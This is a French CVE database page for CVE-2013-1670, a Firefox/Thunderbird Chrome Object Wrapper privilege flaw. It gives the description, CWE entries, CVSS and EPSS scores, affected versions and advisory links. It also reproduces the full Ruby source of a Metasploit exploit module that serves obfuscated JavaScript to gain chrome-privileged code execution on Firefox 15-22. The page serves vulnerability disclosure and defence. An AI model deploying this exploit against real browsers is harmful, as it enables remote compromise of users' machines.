CVE-2013-1670 : Détail

CVE-2013-1670

Cross-site Scripting
A01-Broken Access ControlA03-Injection
80.62%V3
Network
2013-05-16
08h00 +00:00
2017-09-18
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 21.0, Firefox ESR 17.x before 17.0.6, Thunderbird before 17.0.6, and Thunderbird ESR 17.x before 17.0.6 does not prevent acquisition of chrome privileges during calls to content level constructors, which allows remote attackers to bypass certain read-only restrictions and conduct cross-site scripting (XSS) attacks via a crafted web site.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 34363

Date de publication : 2014-08-18 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "15.0", :ua_maxver => "22.0", :javascript => true, :rank => ExcellentRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox toString console.time Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 15-22 by abusing two separate Javascript-related vulnerabilities to ultimately inject malicious Javascript code into a context running with chrome:// privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'moz_bug_r_a4', # discovered CVE-2013-1710 'Cody Crews', # discovered CVE-2013-1670 'joev' # metasploit module ], 'DisclosureDate' => "May 14 2013", 'References' => [ ['CVE', '2013-1670'], # privileged access for content-level constructor ['CVE', '2013-1710'] # further chrome injection ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(15, 22) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin js = Rex::Exploitation::JSObfu.new(%Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; var y = {}, q = false; y.constructor.prototype.toString=function() { if (q) return; q = true; crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex"); return 5; }; console.time(y); |) js.obfuscate %Q| <!doctype html> <html> <body> <script> #{js} </script> #{datastore['CONTENT']} </body> </html> | end end

Products Mentioned

Configuraton 0

Mozilla>>Firefox >> Version To (including) 20.0.1

Mozilla>>Firefox >> Version 19.0

Mozilla>>Firefox >> Version 19.0.1

Mozilla>>Firefox >> Version 19.0.2

Mozilla>>Firefox >> Version 20.0

Configuraton 0

Mozilla>>Firefox >> Version 17.0

Mozilla>>Firefox >> Version 17.0.1

Mozilla>>Firefox >> Version 17.0.2

Mozilla>>Firefox >> Version 17.0.3

Mozilla>>Firefox >> Version 17.0.4

Mozilla>>Firefox >> Version 17.0.5

Configuraton 0

Mozilla>>Thunderbird >> Version To (including) 17.0.5

Mozilla>>Thunderbird >> Version 17.0

Mozilla>>Thunderbird >> Version 17.0.1

    Mozilla>>Thunderbird >> Version 17.0.2

    Mozilla>>Thunderbird >> Version 17.0.3

    Mozilla>>Thunderbird >> Version 17.0.4

    Configuraton 0

    Mozilla>>Thunderbird_esr >> Version 17.0

    Mozilla>>Thunderbird_esr >> Version 17.0.1

    Mozilla>>Thunderbird_esr >> Version 17.0.2

    Mozilla>>Thunderbird_esr >> Version 17.0.3

    Mozilla>>Thunderbird_esr >> Version 17.0.4

    Mozilla>>Thunderbird_esr >> Version 17.0.5

    Références

    http://www.debian.org/security/2013/dsa-2699
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://www.mandriva.com/security/advisories?name=MDVSA-2013:165
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://www.ubuntu.com/usn/USN-1823-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://rhn.redhat.com/errata/RHSA-2013-0821.html
    Tags : vendor-advisory, x_refsource_REDHAT
    http://www.osvdb.org/93427
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.exploit-db.com/exploits/34363
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/59865
    Tags : vdb-entry, x_refsource_BID
    http://rhn.redhat.com/errata/RHSA-2013-0820.html
    Tags : vendor-advisory, x_refsource_REDHAT
    http://www.ubuntu.com/usn/USN-1822-1
    Tags : vendor-advisory, x_refsource_UBUNTU